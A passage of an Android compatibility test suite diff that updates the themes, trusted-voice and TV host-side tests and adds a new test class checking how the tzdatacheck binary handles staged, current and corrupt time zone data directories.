public void testThemes() throws Exception {
- if (checkHardwareTypeSkipTest(mHardwareType)) {
- Log.logAndDisplay(LogLevel.INFO, LOG_TAG,
- "Skipped themes test for watch / TV / VR headset");
+ if (checkHardwareTypeSkipTest(mDevice.executeShellCommand(HARDWARE_TYPE_CMD).trim())) {
+ Log.logAndDisplay(LogLevel.INFO, LOG_TAG, "Skipped themes test for watch / TV / automotive");
return;
}
@@ -277,11 +230,7 @@
return receiver.getOutput().contains("OK ");
}
- private static String getDensityBucketForDevice(ITestDevice device, String hardwareType) {
- if (hardwareType.contains("android.hardware.type.television")) {
- // references images for tv are under bucket "tvdpi".
- return "tvdpi";
- }
+ private static String getDensityBucketForDevice(ITestDevice device) {
final int density;
try {
density = getDensityForDevice(device);
@@ -296,6 +245,9 @@
case 160:
bucket = "mdpi";
break;
+ case 213:
+ bucket = "tvdpi";
+ break;
case 240:
bucket = "hdpi";
break;
@@ -323,7 +275,8 @@
final Pattern p = Pattern.compile("Override density: (\\d+)");
final Matcher m = p.matcher(output);
if (m.find()) {
- return Integer.parseInt(m.group(1));
+ throw new RuntimeException("Cannot test device running at non-default density: "
+ + Integer.parseInt(m.group(1)));
}
final String densityProp;
@@ -335,10 +288,9 @@
return Integer.parseInt(device.getProperty(densityProp));
}
- /** Check the hardware type and skip if it is - TV/Watch/VrHeadset. */
private static boolean checkHardwareTypeSkipTest(String hardwareTypeString) {
return hardwareTypeString.contains("android.hardware.type.watch")
|| hardwareTypeString.contains("android.hardware.type.television")
- || mVrHeadset;
+ || hardwareTypeString.contains("android.hardware.type.automotive");
}
}
diff --git a/hostsidetests/trustedvoice/Android.mk b/hostsidetests/trustedvoice/Android.mk
index d80f725..34806f3 100644
--- a/hostsidetests/trustedvoice/Android.mk
+++ b/hostsidetests/trustedvoice/Android.mk
@@ -28,7 +28,7 @@
LOCAL_CTS_TEST_PACKAGE := android.host.trustedvoice
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/trustedvoice/app/Android.mk b/hostsidetests/trustedvoice/app/Android.mk
index 7a759d8..5127579 100644
--- a/hostsidetests/trustedvoice/app/Android.mk
+++ b/hostsidetests/trustedvoice/app/Android.mk
@@ -27,7 +27,7 @@
LOCAL_PACKAGE_NAME := CtsTrustedVoiceApp
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/trustedvoice/app/AndroidManifest.xml b/hostsidetests/trustedvoice/app/AndroidManifest.xml
index 53b2981..f54af61 100755
--- a/hostsidetests/trustedvoice/app/AndroidManifest.xml
+++ b/hostsidetests/trustedvoice/app/AndroidManifest.xml
@@ -20,7 +20,8 @@
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
<application>
- <activity android:name=".TrustedVoiceActivity" >
+ <activity android:name=".TrustedVoiceActivity"
+ android:turnScreenOn="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
diff --git a/hostsidetests/trustedvoice/app/src/android/trustedvoice/app/TrustedVoiceActivity.java b/hostsidetests/trustedvoice/app/src/android/trustedvoice/app/TrustedVoiceActivity.java
index 95c446a..32cc42c 100644
--- a/hostsidetests/trustedvoice/app/src/android/trustedvoice/app/TrustedVoiceActivity.java
+++ b/hostsidetests/trustedvoice/app/src/android/trustedvoice/app/TrustedVoiceActivity.java
@@ -17,12 +17,12 @@
package android.trustedvoice.app;
import android.app.Activity;
+import android.app.KeyguardManager;
+import android.app.KeyguardManager.KeyguardDismissCallback;
+import android.content.Context;
import android.os.Bundle;
import android.util.Log;
-import android.app.KeyguardManager;
-import android.content.Context;
import android.view.WindowManager.LayoutParams;
-import java.lang.Override;
/**
* This activity when in foreground sets the FLAG_DISMISS_KEYGUARD.
@@ -37,14 +37,18 @@
*/
private static final String TEST_STRING = "TrustedVoiceTestString";
+ private KeyguardManager mkeyguardManager;
+
@Override
public void onCreate(Bundle icicle) {
super.onCreate(icicle);
+ mkeyguardManager =
+ (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE);
// Unlock the keyguard.
- getWindow().addFlags(LayoutParams.FLAG_DISMISS_KEYGUARD
- | LayoutParams.FLAG_TURN_SCREEN_ON
+ getWindow().addFlags(LayoutParams.FLAG_TURN_SCREEN_ON
| LayoutParams.FLAG_KEEP_SCREEN_ON);
+ mkeyguardManager.requestDismissKeyguard(this, null);
}
@Override
@@ -52,8 +56,7 @@
super.onWindowFocusChanged(hasFocus);
if (hasFocus) {
// Confirm that the keyguard was successfully unlocked.
- KeyguardManager kM = (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE);
- if (!kM.isKeyguardLocked()) {
+ if (!mkeyguardManager.isKeyguardLocked()) {
// Log the test string.
Log.i(TAG, TEST_STRING);
}
diff --git a/hostsidetests/trustedvoice/src/android/trustedvoice/cts/TrustedVoiceHostTest.java b/hostsidetests/trustedvoice/src/android/trustedvoice/cts/TrustedVoiceHostTest.java
index 7cea5e5..9420124 100644
--- a/hostsidetests/trustedvoice/src/android/trustedvoice/cts/TrustedVoiceHostTest.java
+++ b/hostsidetests/trustedvoice/src/android/trustedvoice/cts/TrustedVoiceHostTest.java
@@ -97,6 +97,8 @@
getDevice().executeAdbCommand("logcat", "-c");
// Lock the device
getDevice().executeShellCommand(SLEEP_COMMAND);
+ // Add a delay to allow the device to go to sleep.
+ Thread.sleep(1000);
// Start the APK and wait for it to complete.
getDevice().executeShellCommand(START_COMMAND);
// Adding delay for OEM specific features which could delay the time of printing the
diff --git a/hostsidetests/tv/Android.mk b/hostsidetests/tv/Android.mk
index cb5e2bd..79f976a 100644
--- a/hostsidetests/tv/Android.mk
+++ b/hostsidetests/tv/Android.mk
@@ -26,7 +26,7 @@
LOCAL_CTS_TEST_PACKAGE := android.tv.hostsidetv
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/tv/app/Android.mk b/hostsidetests/tv/app/Android.mk
index 454d352..5ffdeb4 100644
--- a/hostsidetests/tv/app/Android.mk
+++ b/hostsidetests/tv/app/Android.mk
@@ -30,6 +30,6 @@
LOCAL_DEX_PREOPT := false
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/tv/app2/Android.mk b/hostsidetests/tv/app2/Android.mk
index 166baec..76ae765 100644
--- a/hostsidetests/tv/app2/Android.mk
+++ b/hostsidetests/tv/app2/Android.mk
@@ -23,7 +23,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/hostsidetests/tzdata/Android.mk b/hostsidetests/tzdata/Android.mk
new file mode 100644
index 0000000..50c22ab
--- /dev/null
+++ b/hostsidetests/tzdata/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Only compile source java files in this apk.
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_MODULE := CtsHostTzDataTests
+
+LOCAL_JAVA_LIBRARIES := tradefed
+
+LOCAL_STATIC_JAVA_LIBRARIES := tzdata-testing-host time_zone_distro-host time_zone_distro_tools-host
+
+LOCAL_CTS_TEST_PACKAGE := android.host.tzdata
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/tzdata/AndroidTest.xml b/hostsidetests/tzdata/AndroidTest.xml
new file mode 100644
index 0000000..1a2716e
--- /dev/null
+++ b/hostsidetests/tzdata/AndroidTest.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS tzdatacheck host test cases">
+ <option name="config-descriptor:metadata" key="component" value="libcore" />
+ <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+ <option name="jar" value="CtsHostTzDataTests.jar" />
+ </test>
+</configuration>
diff --git a/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java b/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java
new file mode 100644
index 0000000..2e9707c
--- /dev/null
+++ b/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java
@@ -0,0 +1,977 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.tzdata;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.timezone.distro.DistroVersion;
+import com.android.timezone.distro.TimeZoneDistro;
+import com.android.timezone.distro.tools.TimeZoneDistroBuilder;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.util.Comparator;
+import java.util.StringJoiner;
+import java.util.function.Consumer;
+import libcore.tzdata.testing.ZoneInfoTestHelper;
+
+import static org.junit.Assert.assertArrayEquals;
+
+/**
+ * Tests for the tzdatacheck binary.
+ *
+ * <p>The tzdatacheck binary operates over two directories: the "system directory" containing the
+ * time zone rules in the system image, and a "data directory" in the data partition which can
+ * optionally contain time zone rules data files for bionic/libcore and ICU.
+ *
+ * <p>This test executes the tzdatacheck binary to confirm it operates correctly in a number of
+ * simulated situations; simulated system and data directories in various states are created in a
+ * location the shell user has permission to access and the tzdatacheck binary is then executed.
+ * The status code and directory state after execution is then used to determine if the tzdatacheck
+ * binary operated correctly.
+ *
+ * <p>Most of the tests below prepare simulated directory structure for the system and data dirs
+ * on the host before pushing them to the device. Device state is then checked rather than syncing
+ * the files back.
+ */
+public class TzDataCheckTest extends DeviceTestCase {
+
+ /**
+ * The name of the directory containing the current time zone rules data beneath
+ * {@link #mDataDir}. Also known to {@link com.android.timezone.distro.installer.TimeZoneDistroInstaller} and
+ * tzdatacheck.cpp.
+ */
+ private static final String CURRENT_DIR_NAME = "current";
+
+ /**
+ * The name of the directory containing the staged time zone rules data beneath
+ * {@link #mDataDir}. Also known to {@link com.android.timezone.distro.installer.TimeZoneDistroInstaller} and
+ * tzdatacheck.cpp.
+ */
+ private static final String STAGED_DIR_NAME = "staged";
+
+ /**
+ * The name of the file inside the staged directory that indicates the staged operation is an
+ * uninstall. Also known to {@link com.android.timezone.distro.installer.TimeZoneDistroInstaller} and
+ * tzdatacheck.cpp.
+ */
+ private static final String UNINSTALL_TOMBSTONE_FILE_NAME = "STAGED_UNINSTALL_TOMBSTONE";
+
+ /**
+ * The name of the /system time zone data file. Also known to
+ * {@link com.android.timezone.distro.installer.TimeZoneDistroInstaller} and tzdatacheck.cpp.
+ */
+ private static final String SYSTEM_TZDATA_FILE_NAME = "tzdata";
+
+ /** A valid time zone rules version guaranteed to be older than {@link #RULES_VERSION_TWO} */
+ private static final String RULES_VERSION_ONE = "2016g";
+ /** A valid time zone rules version guaranteed to be newer than {@link #RULES_VERSION_ONE} */
+ private static final String RULES_VERSION_TWO = "2016h";
+ /**
+ * An arbitrary, valid time zone rules version used when it doesn't matter what the rules
+ * version is.
+ */
+ private static final String VALID_RULES_VERSION = RULES_VERSION_ONE;
+
+ /** An arbitrary valid revision number. */
+ private static final int VALID_REVISION = 1;
+
+ private String mDeviceAndroidRootDir;
+ private PathPair mTestRootDir;
+ private PathPair mSystemDir;
+ private PathPair mDataDir;
+
+ public void setUp() throws Exception {
+ super.setUp();
+
+ // It's not clear how we would get this without invoking "/system/bin/sh", but we need the
+ // value first to do so. It has been hardcoded instead.
+ mDeviceAndroidRootDir = "/system";
+
+ // Create a test root directory on host and device.
+ Path hostTestRootDir = Files.createTempDirectory("tzdatacheck_test");
+ mTestRootDir = new PathPair(
+ hostTestRootDir,
+ "/data/local/tmp/tzdatacheck_test");
+ createDeviceDirectory(mTestRootDir);
+
+ // tzdatacheck requires two directories: a "system" path and a "data" path.
+ mSystemDir = mTestRootDir.createSubPath("system_dir");
+ mDataDir = mTestRootDir.createSubPath("data_dir");
+
+ // Create the host-side directory structure (for preparing files before pushing them to
+ // device and looking at files retrieved from device).
+ createHostDirectory(mSystemDir);
+ createHostDirectory(mDataDir);
+
+ // Create the equivalent device-side directory structure for receiving files.
+ createDeviceDirectory(mSystemDir);
+ createDeviceDirectory(mDataDir);
+ }
+
+ @Override
+ public void tearDown() throws Exception {
+ // Remove the test root directories that have been created by this test.
+ deleteHostDirectory(mTestRootDir, true /* failOnError */);
+ deleteDeviceDirectory(mTestRootDir, true /* failOnError */);
+ super.tearDown();
+ }
+
+ public void testTooFewArgs() throws Exception {
+ // No need to set up or push files to the device for this test.
+ assertEquals(1, runTzDataCheckWithArgs(new String[0]));
+ assertEquals(1, runTzDataCheckWithArgs(new String[] { "oneArg" }));
+ }
+
+ // {dataDir}/staged exists but it is a file.
+ public void testStaging_stagingDirIsFile() throws Exception {
+ // Set up the /system directory structure on host.
+ createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+ // Set up the /data directory structure on host.
+ PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
+ // Create a file with the same name as the directory that tzdatacheck expects.
+ Files.write(dataStagedDir.hostPath, new byte[] { 'a' });
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code. Failures due to staging issues are
+ // generally ignored providing the device is left in a reasonable state.
+ assertEquals(0, runTzDataCheckOnDevice());
+
+ // Assert the file was just ignored. This is a fairly arbitrary choice to leave it rather
+ // than delete.
+ assertDevicePathExists(dataStagedDir);
+ assertDevicePathIsFile(dataStagedDir);
+ }
+
+ // {dataDir}/staged exists but /current dir is a file.
+ public void testStaging_uninstall_currentDirIsFile() throws Exception {
+ // Set up the /system directory structure on host.
+ createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+ // Set up the /data directory structure on host.
+
+ // Create a staged uninstall.
+ PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
+ createStagedUninstallOnHost(dataStagedDir);
+
+ // Create a file with the same name as the directory that tzdatacheck expects.
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+ Files.write(dataCurrentDir.hostPath, new byte[] { 'a' });
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code.
+ assertEquals(0, runTzDataCheckOnDevice());
+
+ // Assert the device was left in a valid "uninstalled" state.
+ assertDevicePathDoesNotExist(dataStagedDir);
+ assertDevicePathDoesNotExist(dataCurrentDir);
+ }
+
+ // {dataDir}/staged contains an uninstall, but there is nothing to uninstall.
+ public void testStaging_uninstall_noCurrent() throws Exception {
+ // Set up the /system directory structure on host.
+ createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+
+ // Set up the /data directory structure on host.
+
+ // Create a staged uninstall.
+ PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
+ createStagedUninstallOnHost(dataStagedDir);
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code. Failures due to staging issues are
+ // generally ignored providing the device is left in a reasonable state.
+ assertEquals(0, runTzDataCheckOnDevice());
+
+ // Assert the device was left in a valid "uninstalled" state.
+ assertDevicePathDoesNotExist(dataStagedDir);
+ assertDevicePathDoesNotExist(dataCurrentDir);
+ }
+
+ // {dataDir}/staged contains an uninstall, and there is something to uninstall.
+ public void testStaging_uninstall_withCurrent() throws Exception {
+ // Set up the /system directory structure on host.
+ createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+ // Set up the /data directory structure on host.
+
+ // Create a staged uninstall.
+ PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
+ createStagedUninstallOnHost(dataStagedDir);
+
+ // Create a current installed distro.
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+ byte[] distroBytes = createValidDistroBuilder().buildBytes();
+ unpackOnHost(dataCurrentDir, distroBytes);
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code. Failures due to staging issues are
+ // generally ignored providing the device is left in a reasonable state.
+ assertEquals(0, runTzDataCheckOnDevice());
+
+ // Assert the device was left in a valid "uninstalled" state.
+ assertDevicePathDoesNotExist(dataStagedDir);
+ assertDevicePathDoesNotExist(dataCurrentDir);
+ }
+
+ // {dataDir}/staged exists but /current dir is a file.
+ public void testStaging_install_currentDirIsFile() throws Exception {
+ // Set up the /system directory structure on host.
+ createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+ // Set up the /data directory structure on host.
+
+ // Create a staged install.
+ PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
+ byte[] distroBytes = createValidDistroBuilder().buildBytes();
+ unpackOnHost(dataStagedDir, distroBytes);
+
+ // Create a file with the same name as the directory that tzdatacheck expects.
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+ Files.write(dataCurrentDir.hostPath, new byte[] { 'a' });
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code. Failures due to staging issues are
+ // generally ignored providing the device is left in a reasonable state.
+ assertEquals(0, runTzDataCheckOnDevice());
+
+ // Assert the device was left in a valid "installed" state.
+ assertDevicePathDoesNotExist(dataStagedDir);
+ assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
+ }
+
+ // {dataDir}/staged contains an install, but there is nothing to replace.
+ public void testStaging_install_noCurrent() throws Exception {
+ // Set up the /system directory structure on host.
+ createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+
+ // Set up the /data directory structure on host.
+
+ // Create a staged install.
+ PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
+ byte[] stagedDistroBytes = createValidDistroBuilder().buildBytes();
+ unpackOnHost(dataStagedDir, stagedDistroBytes);
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code. Failures due to staging issues are
+ // generally ignored providing the device is left in a reasonable state.
+ assertEquals(0, runTzDataCheckOnDevice());
+
+ // Assert the device was left in a valid "installed" state.
+ assertDevicePathDoesNotExist(dataStagedDir);
+ assertDeviceDirContainsDistro(dataCurrentDir, stagedDistroBytes);
+ }
+
+ // {dataDir}/staged contains an install, and there is something to replace.
+ public void testStaging_install_withCurrent() throws Exception {
+ // Set up the /system directory structure on host.
+ createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+ DistroVersion currentDistroVersion = new DistroVersion(
+ DistroVersion.CURRENT_FORMAT_MAJOR_VERSION, 1, VALID_RULES_VERSION, 1);
+ DistroVersion stagedDistroVersion = new DistroVersion(
+ DistroVersion.CURRENT_FORMAT_MAJOR_VERSION, 1, VALID_RULES_VERSION, 2);
+
+ // Set up the /data directory structure on host.
+
+ // Create a staged uninstall.
+ PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
+ byte[] stagedDistroBytes = createValidDistroBuilder()
+ .setDistroVersion(stagedDistroVersion)
+ .buildBytes();
+ unpackOnHost(dataStagedDir, stagedDistroBytes);
+
+ // Create a current installed distro.
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+ byte[] currentDistroBytes = createValidDistroBuilder()
+ .setDistroVersion(currentDistroVersion)
+ .buildBytes();
+ unpackOnHost(dataCurrentDir, currentDistroBytes);
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code. Failures due to staging issues are
+ // generally ignored providing the device is left in a reasonable state.
+ assertEquals(0, runTzDataCheckOnDevice());
+
+ // Assert the device was left in a valid "installed" state.
+ // The stagedDistro should now be the one in the current dir.
+ assertDevicePathDoesNotExist(dataStagedDir);
+ assertDeviceDirContainsDistro(dataCurrentDir, stagedDistroBytes);
+ }
+
+ // {dataDir}/staged contains an invalid install, and there is something to replace.
+ // Most of the invalid cases are tested without staging; this is just to prove that staging
+ // an invalid distro is handled the same.
+ public void testStaging_install_withCurrent_invalidStaged() throws Exception {
+ // Set up the /system directory structure on host.
+ createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+ // Set up the /data directory structure on host.
+
+ // Create a staged uninstall which contains invalid.
+ PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
+ byte[] stagedDistroBytes = createValidDistroBuilder()
+ .clearVersionForTests()
+ .buildUnvalidatedBytes();
+ unpackOnHost(dataStagedDir, stagedDistroBytes);
+
+ // Create a current installed distro.
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+ byte[] currentDistroBytes = createValidDistroBuilder().buildBytes();
+ unpackOnHost(dataCurrentDir, currentDistroBytes);
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code. The staged directory will have become the
+ // current one, but then it will be discovered to be invalid and will be removed.
+ assertEquals(3, runTzDataCheckOnDevice());
+
+ // Assert the device was left in a valid "uninstalled" state.
+ assertDevicePathDoesNotExist(dataStagedDir);
+ assertDevicePathDoesNotExist(dataCurrentDir);
+ }
+
+ // No {dataDir}/current exists.
+ public void testNoCurrentDataDir() throws Exception {
+ // Set up the /system directory structure on host.
+ createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+ // Deliberately not creating anything on host in the data dir here, leaving the empty
+ // structure.
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code.
+ assertEquals(0, runTzDataCheckOnDevice());
+ }
+
+ // {dataDir}/current exists but it is a file.
+ public void testCurrentDataDirIsFile() throws Exception {
+ // Set up the /system directory structure on host.
+ createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+ // Set up the /data directory structure on host.
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+ // Create a file with the same name as the directory that tzdatacheck expects.
+ Files.write(dataCurrentDir.hostPath, new byte[] { 'a' });
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code.
+ assertEquals(2, runTzDataCheckOnDevice());
+
+ // Assert the file was just ignored. This is a fairly arbitrary choice to leave it rather
+ // than delete.
+ assertDevicePathExists(dataCurrentDir);
+ assertDevicePathIsFile(dataCurrentDir);
+ }
+
+ // {dataDir}/current exists but is missing the distro version file.
+ public void testMissingDataDirDistroVersionFile() throws Exception {
+ // Set up the /system directory structure on host.
+ createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+ // Set up the /data directory structure on host.
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+ byte[] distroWithoutAVersionFileBytes = createValidDistroBuilder()
+ .clearVersionForTests()
+ .buildUnvalidatedBytes();
+ unpackOnHost(dataCurrentDir, distroWithoutAVersionFileBytes);
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code.
+ assertEquals(3, runTzDataCheckOnDevice());
+
+ // Assert the current data directory was deleted.
+ assertDevicePathDoesNotExist(dataCurrentDir);
+ }
+
+ // {dataDir}/current exists but the distro version file is short.
+ public void testShortDataDirDistroVersionFile() throws Exception {
+ // Set up the /system directory structure on host.
+ createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+ // Set up the /data directory structure on host.
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+ unpackOnHost(dataCurrentDir, createValidDistroBuilder().buildBytes());
+ // Replace the distro version file with a short file.
+ Path distroVersionFile =
+ dataCurrentDir.hostPath.resolve(TimeZoneDistro.DISTRO_VERSION_FILE_NAME);
+ assertHostFileExists(distroVersionFile);
+ Files.write(distroVersionFile, new byte[3]);
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code.
+ assertEquals(3, runTzDataCheckOnDevice());
+
+ // Assert the current data directory was deleted.
+ assertDevicePathDoesNotExist(dataCurrentDir);
+ }
+
+ // {dataDir}/current exists and the distro version file is long enough, but contains junk.
+ public void testCorruptDistroVersionFile() throws Exception {
+ // Set up the /system directory structure on host.
+ createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+ // Set up the /data directory structure on host.
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+ unpackOnHost(dataCurrentDir, createValidDistroBuilder().buildBytes());
+
+ // Replace the distro version file with junk.
+ Path distroVersionFile =
+ dataCurrentDir.hostPath.resolve(TimeZoneDistro.DISTRO_VERSION_FILE_NAME);
+ assertHostFileExists(distroVersionFile);
+
+ int fileLength = (int) Files.size(distroVersionFile);
+ byte[] junkArray = new byte[fileLength]; // all zeros
+ Files.write(distroVersionFile, junkArray);
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code.
+ assertEquals(4, runTzDataCheckOnDevice());
+
+ // Assert the current data directory was deleted.
+ assertDevicePathDoesNotExist(dataCurrentDir);
+ }
+
+ // {dataDir}/current exists but the distro version is incorrect.
+ public void testInvalidMajorDistroVersion_older() throws Exception {
+ // Set up the /system directory structure on host.
+ createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+ // Set up the /data directory structure on host.
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+ DistroVersion oldMajorDistroVersion = new DistroVersion(
+ DistroVersion.CURRENT_FORMAT_MAJOR_VERSION - 1, 1, VALID_RULES_VERSION, 1);
+ byte[] distroBytes = createValidDistroBuilder()
+ .setDistroVersion(oldMajorDistroVersion)
+ .buildBytes();
+ unpackOnHost(dataCurrentDir, distroBytes);
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code.
+ assertEquals(5, runTzDataCheckOnDevice());
+
+ // Assert the current data directory was deleted.
+ assertDevicePathDoesNotExist(dataCurrentDir);
+ }
+
+ // {dataDir}/current exists but the distro version is incorrect.
+ public void testInvalidMajorDistroVersion_newer() throws Exception {
+ // Set up the /system directory structure on host.
+ createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+ // Set up the /data directory structure on host.
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+ DistroVersion newMajorDistroVersion = new DistroVersion(
+ DistroVersion.CURRENT_FORMAT_MAJOR_VERSION + 1,
+ DistroVersion.CURRENT_FORMAT_MINOR_VERSION,
+ VALID_RULES_VERSION, VALID_REVISION);
+ byte[] distroBytes = createValidDistroBuilder()
+ .setDistroVersion(newMajorDistroVersion)
+ .buildBytes();
+ unpackOnHost(dataCurrentDir, distroBytes);
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code.
+ assertEquals(5, runTzDataCheckOnDevice());
+
+ // Assert the current data directory was deleted.
+ assertDevicePathDoesNotExist(dataCurrentDir);
+ }
+
+ // {dataDir}/current exists but the distro version is incorrect.
+ public void testInvalidMinorDistroVersion_older() throws Exception {
+ // Set up the /system directory structure on host.
+ createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+ // Set up the /data directory structure on host.
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+ DistroVersion oldMinorDistroVersion = new DistroVersion(
+ DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
+ DistroVersion.CURRENT_FORMAT_MINOR_VERSION - 1,
+ VALID_RULES_VERSION, 1);
